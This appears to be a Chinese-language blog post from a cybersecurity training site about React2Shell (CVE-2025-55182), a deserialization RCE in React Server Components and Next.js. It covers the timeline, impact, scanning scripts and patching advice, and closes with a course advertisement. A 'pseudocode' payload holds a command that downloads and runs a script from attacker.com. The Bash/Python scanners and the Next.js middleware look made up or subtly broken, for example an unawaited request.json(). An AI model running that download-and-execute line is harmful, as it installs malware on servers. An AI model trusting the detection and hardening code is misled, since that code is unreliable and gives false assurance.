8200 网络安全训练营

© 2025 8200 网络安全训练营

React2Shell 漏洞公告

React2Shell 漏洞公告

CVE-2025-55182 是 React 19 和 Next.js 中的关键远程代码执行漏洞,源于服务器组件的不安全反序列化。默认配置下可通过精心构造的 HTTP 请求利用。请紧急修补,防止云凭证泄露和加密劫持。
# React2Shell (CVE-2025-55182):一次关键 React 漏洞的深度剖析

*作者:Lachlan Davidson*  
*最后更新:2025 年 12 月 4 日*

---

## 目录

1. [引言](#introduction)
2. [背景与时间线](#background-and-timeline)
3. [理解 React2Shell](#understanding-react2shell)  
   - [什么是 React2Shell?](#what-is-react2shell)  
   - [漏洞技术概览](#technical-overview-of-the-vulnerability)
4. [对 React 与 Next.js 生态的影响](#the-impact-on-react-and-nextjs-ecosystems)
5. [不安全的反序列化与 Flight 协议](#insecure-deserialization-and-the-flight-protocol)
6. [真实世界的利用与案例研究](#real-world-exploitation-and-case-studies)
7. [检测与缓解技术](#detection-and-mitigation-techniques)  
   - [使用 Bash 与 cURL 扫描](#scanning-with-bash-and-curl)  
   - [用 Python 解析漏洞数据](#parsing-vulnerability-data-with-python)  
   - [高效监控技巧](#tips-for-effective-monitoring)
8. [高级利用技术与事后分析](#advanced-exploitation-techniques)
9. [处理误报:不要轻信什么](#addressing-false-positives)
10. [补丁与加固最佳实践](#best-practices-for-patching-and-hardening)
11. [结论](#conclusion)
12. [参考资料](#references)

---

## 引言 <a id="introduction"></a>

近几年,React 及其相关框架的采用率激增,支撑了从小型 Web 项目到大型企业应用的方方面面。随着流行度的提高,人们对漏洞的担忧也水涨船高,尤其是那些影响生态关键组件的漏洞。

2025 年 11 月 29 日,我(Lachlan Davidson)向 Meta 团队负责任地披露了一个毁灭性漏洞——React2Shell(CVE-2025-55182)。该漏洞影响服务器端 React 的实现,尤其是通过 React Server Components(RSC)中的 “Flight” 协议。React 与 Vercel 团队于 2025 年 12 月 3 日发布了补丁。本博客将从技术细节到真实世界利用,全方位解析该漏洞,并提供检测与缓解的最佳实践。

本文将涵盖:
- 漏洞解释及其对生态的重大影响  
- 漏洞存在的原因及触发方式  
- 真实利用案例与事后行为分析  
- 用于检测易受攻击实例的示例代码与扫描命令  
- 修补与加固部署的最佳实践  

无论你是安全专家、开发者还是技术爱好者,本文都将带你从入门概念到高级利用技术,再到主动防御策略。

---

## 背景与时间线 <a id="background-and-timeline"></a>

了解事件时间线对于风险管理与快速响应至关重要:

- **2025 年 11 月 29 日(PT):** 我向 Meta 团队负责任地披露了漏洞。  
- **2025 年 12 月 3 日(PT):** React 与 Vercel 团队发布了初始公告及补丁。  
- **2025 年 12 月 4 日:** 公共 PoC 代码开始流传,但有些 “PoC” 并未真正反映漏洞本质,需谨慎辨别。  
- **补丁后与持续监控:** Wiz Research、Amazon Threat Intelligence、Datadog 等观察到野外利用,攻击活动集中在公开的 Next.js 实例与云部署。  

另一个 CVE(CVE-2025-66478)指向 Next.js,其本质上为 CVE-2025-55182 的重复,但有助于供应商与安全团队追踪 vendored 依赖。

---

## 理解 React2Shell <a id="understanding-react2shell"></a>

### 什么是 React2Shell? <a id="what-is-react2shell"></a>

React2Shell 是指 React Server Components 环境中的一个关键漏洞(CVE-2025-55182),影响 “Flight” 协议。不安全的反序列化使得未经认证即可在服务器端执行远程代码。

关键特性:
- **严重等级:10.0(Critical)**  
- **无需认证的 RCE:** 普通 HTTP 请求即可触发  
- **默认配置即受影响:** 使用 `create-next-app` 创建的标准 Next.js 应用在未加固时都易受攻击  

### 漏洞技术概览 <a id="technical-overview-of-the-vulnerability"></a>

漏洞根源在于服务器处理 RSC 载荷时的反序列化逻辑缺乏充分校验。攻击者可提交精心构造的数据,反序列化后触发任意代码执行。

简化流程:
1. **构造恶意载荷**  
2. **发送 HTTP 请求**  
3. **服务器反序列化并执行**  
4. **获得远程代码执行**  

由于多数应用的默认配置缺乏输入过滤或暴露限制,此漏洞尤为危险。

---

## 对 React 与 Next.js 生态的影响 <a id="the-impact-on-react-and-nextjs-ecosystems"></a>

### 为何如此危险?

1. **广泛使用:** React/Next.js 占据大量市场  
2. **利用简单:** 一条 HTTP 请求即可  
3. **成功率高:** 默认设置下几乎 100% 成功  
4. **公共暴露:** 39% 云环境发现存在易受攻击实例  

### Next.js 特例

Next.js 将 React 作为 vendored 依赖,传统扫描器可能遗漏。故额外分配 CVE-2025-66478 以提醒用户。

---

## 不安全的反序列化与 Flight 协议 <a id="insecure-deserialization-and-the-flight-protocol"></a>

### 不安全反序列化

反序列化是把序列化数据还原为对象/结构的过程。不安全反序列化指:
- **校验不足**  
- **导致恶意代码执行**  

### RSC 的 Flight 协议

Flight 协议用于高效交换数据,但由于 `react-server` 包校验不足,产生攻击面。服务器收到 Flight 请求时:
1. 反序列化载荷  
2. 解析为组件渲染指令  
3. 若被篡改,则可能执行系统命令  

---

## 真实世界的利用与案例研究 <a id="real-world-exploitation-and-case-studies"></a>

### 野外利用

- **凭证窃取**  
- **加密矿工** (XMRig 等)  
- **事后侦察与持久化**  

### 案例:Kubernetes 上的 Next.js

攻击者:
- 建立反向 shell  
- 读取 Kubernetes Secret  
- 权限提升至宿主机  

### 案例:云环境攻击

Wiz Research 数据:
- 39% 云环境含易受攻击实例  
- 大量公开暴露  
- 捕获 AWS 凭证并 Base64 外传  

---

## 检测与缓解技术 <a id="detection-and-mitigation-techniques"></a>

### 使用 Bash 与 cURL 扫描 <a id="scanning-with-bash-and-curl"></a>

```bash
#!/bin/bash
# React2Shell (CVE-2025-55182) 简易扫描脚本
TARGET="<target_url>"
PAYLOAD='{"malicious": "payload"}'

echo "正在扫描 $TARGET ..."
RESPONSE=$(curl -s -X POST -H "Content-Type: application/json" -d "$PAYLOAD" "$TARGET")

if echo "$RESPONSE" | grep -q "Error processing Flight payload"; then
    echo "[$TARGET] 可能存在漏洞"
else
    echo "[$TARGET] 未发现明显漏洞,仍建议进一步检测"
fi

用 Python 解析漏洞数据

import requests, json

def scan_target(url):
    payload = {"test": "data", "action": "simulate_deserialization"}
    headers = {"Content-Type": "application/json"}
    print(f"扫描 {url} ...")
    try:
        r = requests.post(url, headers=headers, data=json.dumps(payload), timeout=5)
        if "Error processing Flight payload" in r.text:
            print(f"[!] {url} 可能存在漏洞")
        else:
            print(f"[-] {url} 暂未发现问题")
    except requests.exceptions.RequestException as e:
        print(f"[!] 扫描 {url} 时出错: {e}")

if __name__ == "__main__":
    for t in ["https://example.com/api/flight", "https://another-example.com/api/flight"]:
        scan_target(t)

高效监控技巧

  1. 启用运行时防护
  2. 日志监控异常 HTTP 请求
  3. 集成漏洞管理工具

高级利用技术与事后分析

利用开发要点

  • 载荷构造
  • 绕过 WAF/运行时防护
  • 漏洞链组合
// 仅供学习用途的伪代码
const maliciousPayload = {
  component: "ShellExec",
  args: {
    command: "bash -c 'curl -fsSL http://attacker.com/malware.sh | sh'",
  },
  _meta: { timestamp: Date.now(), nonce: Math.random().toString(36).slice(2) }
};
sendToServer(JSON.stringify(maliciousPayload));

事后步骤

  • 反向 Shell
  • 敏感数据收集
  • 横向移动
  • 部署恶意软件

处理误报:不要轻信什么

误报可能因检测到以下函数而触发:

  • vm#runInThisContext
  • child_process#exec
  • fs#writeFile

真正的 React2Shell 利用与这些函数无关,而是依赖 Next.js 自动管理的服务器函数。

建议:

  • 与官方公告交叉验证
  • 结合运行时行为分析
  • 不依赖静态签名

补丁与加固最佳实践

立即整改

  1. 查看官方公告
  2. 立即打补丁(如 react-server-dom* 19.0.1、19.1.2、19.2.1)
  3. 启用运行时防护
  4. 监控异常行为
  5. 情报共享

开发者加固指南

  • 严格输入验证
  • 限制关键端点暴露
  • 定期安全审计
  • 环境隔离
// Next.js 中间件示例:额外输入校验
import { NextResponse } from 'next/server';

export function middleware(request) {
  if (request.nextUrl.pathname.startsWith('/api/flight')) {
    try {
      const body = request.json();
      if (!body || typeof body !== 'object' || !body.component) {
        return new NextResponse('Invalid payload format', { status: 400 });
      }
    } catch {
      return new NextResponse('Error processing request', { status: 400 });
    }
  }
  return NextResponse.next();
}

结论

React2Shell(CVE-2025-55182)提醒我们:即便是广泛采用、被信任的框架也可能存在高危漏洞。其根源于 RSC “Flight” 协议中的不安全反序列化,因易利用且影响范围广而极具威胁。

要点回顾:

  • 漏洞允许未经认证的 RCE
  • React 与 Next.js 均受影响(Next.js 对应 CVE-2025-66478)
  • 已有真实攻击案例
  • 必须快速检测、打补丁并警惕误报
  • 持续更新依赖并采用多层安全措施

参考资料


本文旨在帮助你全方位理解 React2Shell,从技术细节到检测与缓解方案。请及时关注官方公告,并不断强化安全防护。

安全编码,畅行无忧!

🚀 准备好升级了吗?

将您的网络安全职业提升到新的水平

如果您觉得此内容有价值,请想象一下通过我们为期47周的综合精英培训计划,您可以取得怎样的成就。加入1,200多名学生,他们已通过8200部队的技术改变了职业生涯。

97% 就业率
精英8200部队技术
42个动手实践实验室